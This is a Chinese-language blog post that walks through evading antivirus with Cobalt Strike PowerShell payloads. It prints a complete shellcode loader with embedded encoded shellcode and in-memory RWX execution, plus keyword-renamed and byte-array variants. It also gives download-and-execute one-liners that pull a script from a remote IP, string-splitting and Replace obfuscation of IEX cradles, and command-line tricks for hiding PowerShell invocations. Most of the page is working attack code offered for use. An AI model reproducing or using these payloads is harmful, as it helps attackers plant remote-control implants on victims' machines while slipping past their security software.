zoukankan      html  css  js  c++  java
  • CS-Powershell免杀-过卡巴等杀软上线

    方法1:ps1免杀

    共五步

    总述:主要就是[Byte[]]$var_code换一种编码,然后改掉关键词,比如函数名,变量名。

    1.CS生成ps1

    主要改:[Byte[]]$var_code那一行

    Set-StrictMode -Version 2
    
    $DoIt = @'
    function func_get_proc_address {
    	Param ($var_module, $var_procedure)		
    	$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    	$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    	return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
    }
    
    function func_get_delegate_type {
    	Param (
    		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
    		[Parameter(Position = 1)] [Type] $var_return_type = [Void]
    	)
    
    	$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    	$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    	$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
    
    	return $var_type_builder.CreateType()
    }
    
    [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+EuNJY5czSyMzIyNL3NwkI0kjS3uHcMbc9qDjY6rkcxLjk1OXSnNLR01QQndLb1QFJNz2mEIjIyPIWHuq5aDMY9+aYyMjI9CHqtugy2Njo9hZXRGYQiMjI6s7Y6g7YKs7o9hZXTmYQiMjI6s7Y6g7YKs7o9hZXSSYQiMjI6s7a2uYQiMjI6s7qtCq5Xd4oMgncEkjcEkjS2shIyNJM3NLSeq/6tz2puNWcqrTa5AjqztjqBPIU8uj3NzcI0JCQg1QV0JERg0SEhAREREVGg1NUBINRUpXQExOTQ1ATE4jwi3l+0Po7OXaJ05aGZj3Wg5Z+j031+ZsWpFVQarTa6grYqsro9p8XSRL05aBddz2S8swIyNLZ9MWw9z2qtOoK6roygDc3Nyk2XyoZDug2yJWGqDkP6gcpP2q3ahfBysS6pLc0Id0dHRgpNlxdHCiydwjIyNxS9cjre/c9nh8eR7cIyMjXyTK/N3c3Kr0ouQjIyMj3MQxF3Vb')
    
    for ($x = 0; $x -lt $var_code.Count; $x++) {
    	$var_code[$x] = $var_code[$x] -bxor 35
    }
    
    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
    [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
    
    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
    $var_runme.Invoke([IntPtr]::Zero)
    '@
    
    If ([IntPtr]::size -eq 8) {
    	start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
    }
    else {
    	IEX $DoIt
    }
    
    

    2.把FromBase64String改成FromBase65String就不杀了,那就解决掉FromBase64String,直接改成byte数组。

    主要改:[Byte[]]$var_code那一块

    $string = ''
    $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】')
    $s |foreach { $string = $string + $_.ToString()+','}
    $string > c:1.txt  或者$string  短的话直接查看即可。
    

    也可以把变量文件输出到文件中查看,有些用户权限不够会报错,更换路径就行了。

    $string > c:1.txt
    

    3. 把[Byte[]]$var_code替换掉

    其他地方不变。

    此时可以大部分免杀。

    4.改一些关键字

    到第三步可以实现大部分免杀,第四步基本可以实现全免杀,但是我测试的时候没有成功。

    大概就是把[Byte[]]$var_code那一行上下的函数名和变量前缀var_ 改成别的 还有最后的IEX改了一下。

    对比截图-源文件(已经做了第三步的免杀了)

    对比截图-第四步修改关键词之后的文件

    第四步修改关键词之后的文件:

    大概就是把[Byte[]]$var_code那一行上下的函数名和变量前缀var_ 改成别的 还有最后的IEX改了一下。

    可以直接把第三步替换的那一行替换掉这个代码中对应行

    Set-StrictMode -Version 2
    
    $DoIt = @'
    function func_b {
    	Param ($amodule, $aprocedure)		
    	$aunsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.Uns'+'afeN'+'ativeMethods')
    	$agpa = $aunsafe_native_methods.GetMethod('GetP'+'rocAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    	return $agpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($aunsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($amodule)))), $aprocedure))
    }
    
    function func_a {
    	Param (
    		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $aparameters,
    		[Parameter(Position = 1)] [Type] $areturn_type = [Void]
    	)
    
    	$atype_b = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('Reflect'+'edDel'+'egate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDeleg'+'ateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    	$atype_b.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $aparameters).SetImplementationFlags('Runtime, Managed')
    	$atype_b.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $areturn_type, $aparameters).SetImplementationFlags('Runtime, Managed')
    
    	return $atype_b.CreateType()
    }
    
    [Byte[]]$acode =  [Byte[]](这里放刚刚转码后的FromBase65String)
    
    for ($gg = 0; $gg -lt $acode.Count; $gg++) {
    	$acode[$gg] = $acode[$gg] -bxor 35
    }
    
    $ava = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_b kernel32.dll VirtualAlloc), (func_a @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    $abuffer = $ava.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
    [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $abuffer, $acode.length)
    
    $arunme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($abuffer, (func_a @([IntPtr]) ([Void])))
    $arunme.Invoke([IntPtr]::Zero)
    '@
    
    If ([IntPtr]::size -eq 8) {
    	start-job { param($a) ie`x $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
    }
    else {
    	i`ex $DoIt
    }
    

    5.执行

    powershell -ExecutionPolicy bypass -File .payload.ps1
    

    执行命令,卡巴斯基会拦截,argue污染以下就行了。

    beacon> argue cmd.exe asdsdadsadsasadasd
    

    方法2:无落地powershell免杀

    总述:就是cs生成txt-shellcode代码,放到服务器web目录,然后目标执行powershell命令请求下载并执行。对于内容就是换一种编码来混淆,同时可以将编码部分分成几个部分然后再拼接,对于关键命令,可以使用Replace替换的方法。对于访问shellcode文件并执行的命令,可以采用混淆分割合并和Replace替换的方法绕过。不行就多分几段,多混淆几次,多替换几次。

    1.生成无落地执行powershell文件

    2.访问http://xxx.xx.xxx.xx:80/a这个连接看看文件内容,并保存下来

    查看VT,红了快一半。

    通过分析可以看到代码实际组成是:

    $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("shellcode代码"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
    

    3.使用方法1中的步骤2,直接把FromBase64String改成FromBase65String。

    $string = ''
    $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】')
    $s |foreach { $string = $string + $_.ToString()+','}
    $string > c:1.txt  或者$string  短的话直接查看即可。
    

    4.将生成的编码分成两块或者多块再组合

    两块不够可以分成多块。

    [Byte[]]$var_c1 =  [Byte[]](31,139,8,0,0,0,0,0,0,0,173,87,109,111,162,218,22,254,92,127,5,31,154,168,169,181,40,214,234,220,76,114,20,65,80,160,10,190,247,52,205,6,182,136,34,32,108,4,60,51,255,253,44,80,123,58,119,58,247,78,114,175,9,113,179,89,175,207,126,214,98,161,97,114,175,145,192,54,136,236,153,152,186,159,225,32,180,61,151,170,23,10,183,61,79,36,212,87,234,143,98,97,29,185,6,201,182,179,197,155,133,201,155,31,120,198,27,50,205,0,135,33,245,87,225,102,132,2,180,167,74,183,71,20,188,237,61,51,114,112,133,202,111,50,187,110,247,28,92,199,128,115,15,33,42,160,68,249)
    [Byte[]]$var_c2 =  [Byte[]](199,96,206,103,88,42,138,174,140,247,128,223,249,30,104,122,187,134,50,195,87,233,75,105,165,87,239,217,125,198,101,214,65,97,88,161,70,17,212,185,81,161,52,140,28,108,86,168,142,27,218,151,71,157,136,120,249,178,248,79,184,114,228,16,219,64,33,185,154,123,45,127,2,233,197,53,235,185,80,49,145,1,189,155,171,100,3,217,135,72,62,122,114,114,79,229,11,250,65,228,238,241,255,241,0,126,112,250,223,161,205,192,203,103,186,119,232,242,128,62,199,171,40,254,81,40,136,107,234,195,126,104,159,224,139,5,31,168,86,206,189,144,160,128,220,111,61,29,62,111,242,247,117,233,22,149,41,145,91,80,183,136,250,78,221,67,122,157,144,169,195,55,78,96,69,217,203,155,58,127,178,125,163,98,100,159,21,191,81,42,54,48,140,220,247,3,79,7,150,98,152,193,50,211,185,145,76,24,246,254,6,195,245,1,82,3,14,0,0)
    $var_code=$var_c1+$var_c2
    
    $s=New-Object IO.MemoryStream(,$var_code);IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
    

    5.另存到服务器的其他txt文件中并访问执行

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://0.0.0.0:4545/text.txt'))"
    

    此时www.virustotal.com还有一到两个被查出,主要是命令关键词没有被替换,使用混淆的方法解决。

    6.混淆命令关键词并执行

    以下代码$var_c1、$var_c2中的数据精简了,实际不会这么少的。

    [Byte[]]$var_c1 =  [Byte[]](31,42,160,68,249)
    [Byte[]]$var_c2 =  [Byte[]](199,96,82,3,14,0,0)
    $var_code=$var_c1+$var_c2
    
    $s=New-Object IO.MemoryStream(,$var_code);$a1='IEX (New-Object IO.Strea123'.Replace('123','mRe');$a2='ader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()';IEX($A1+$a2)
    

    上线成功,没有被杀的了。完美

    注:VT确实免杀了,不过呢实际执行的时候360跟defender还是会拦截,通过混淆执行语句可以绕过,发现defender的amsi更新了,没有截图。不是最新版本的直接使用确实没问题,对于最新版的杀软这里的思路还是可用,只是需要加入更多的混淆,或者加一些编码进去。

    7.远程执行powershell命令免杀方法

    总述:免杀要不断尝试,一次混淆不行就多混淆几次,加上替换关键字。

    远程执行脚本时代码混淆,是因为有时候直接执行cs生成的语句杀软会拦截/

    原始语句:

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://103.232.213.20:45685/text.txt'))"
    

    混淆可以使用Replace替代代码关键词部分字母,加上通过拆分后再组合的方法

    例如

    powershell.exe -nop -w hidden -c "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://0.0.0.0:4545/text.txt'')'.Replace('123','adString');IEX ($c1+$c2)"
    

    或者

    powershell.exe -nop -w hidden -c "$c1='IEX(New-Object Net.WebClient).123'.Replace('123','Downlo');$c2='adString(''httaaa.213.20:45685/text.txt'')'.Replace('aaa','p://103.232/text.txt');IEX ($c1+$c2)"
    

    还有powershell语言的特性来混淆代码

    常规方法:

    cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
    cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
    cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^|%p1%%p2% -"
    

    管道输入流:

    cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
    

    利用环境变量:

    cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX $env:cmd"
    cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell -
    cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process'))
    cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ((Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value)
    

    从其他进程获取参数:

    cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://7ell.me/power)&& FOR /L %i IN (1,1,1000) DO echo"
    

    方法很简单,找个时间写个脚本,放到GitHub上供大家使用。

    参考:

    来源1

    Y4er

    根据powershell语言的特性来混淆代码的方法与原理

  • 相关阅读:
    5月14日 游戏闯关,
    无名管道练习小程序
    关于对进程、线程的返回状态的获取的理解
    C语言中内存分布及程序运行中(BSS段、数据段、代码段、堆栈)
    linux 与会话相关的一些概念、登录过程
    linux进程——fork、vfork 两函数的实现及两者区别
    关于 linux 中init 进程
    linux进程——fork()函数
    linux下 vim多屏幕操作
    linux下进程管理
  • 原文地址:https://www.cnblogs.com/forforever/p/13882312.html
Copyright © 2011-2022 走看看